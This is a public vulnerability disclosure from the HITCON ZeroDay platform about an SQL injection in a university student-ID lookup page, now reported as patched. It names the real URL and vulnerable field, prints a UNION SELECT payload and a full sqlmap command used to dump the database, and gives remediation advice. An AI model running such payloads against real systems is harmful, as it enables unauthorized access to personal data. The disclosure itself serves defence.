Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00929
- Vendor: 聖約翰科技大學
- Title: 聖約翰科技大學 學號查詢系統 SQL Injection 漏洞
- Introduction: 本系統具有 SQL Injection 漏洞,可以 dump 出完整的資料庫
處理狀態
目前狀態
公開
Last Update : 2026/09/05
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2026/07/17 13:02:42 : 新提交 (由 LDenG 更新此狀態)
- 2026/07/17 13:10:41 : 新提交 (由 LDenG 更新此狀態)
- 2026/07/17 14:11:53 : 新提交 (由 LDenG 更新此狀態)
- 2026/07/20 11:34:08 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/23 16:51:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/23 16:51:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/23 16:51:56 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/28 18:05:53 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/05 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00929
- 通報者:ldeng (LDenG)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://epteacher.sju.edu.tw/EPTeacher/EPStudent/New/Newst_Query.aspx
敘述
輸入身分證 A123456789 查到註冊組長的範例資料
用 Burp Suite 攔截 request 測試 ctl00%24ContentPlaceHolder1%24txtPwd 欄位,確認存在 SQL Injection 漏洞
Payload
NotExist' UNION SELECT @@version,DB_NAME(),SYSTEM_USER,@@SERVERNAME--
用 Sqlmap 成功 dump 完整的資料庫,4個 Database、435個 Table、數百萬筆資料
Payload
sqlmap -r req.txt \ -p ctl00%24ContentPlaceHolder1%24txtPwd \ --dbms=mssql \ --technique=U \ --union-cols=4 \ --union-char='1' \ --force-ssl \ --tables \ --count
修補建議
1. 查詢系統使用參數化查詢 (Parameterized Query),確保輸入的資料不會被當作 SQL 指令執行
2. 嚴格驗證使用者輸入,確保輸入的資料是正確的身分證格式
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。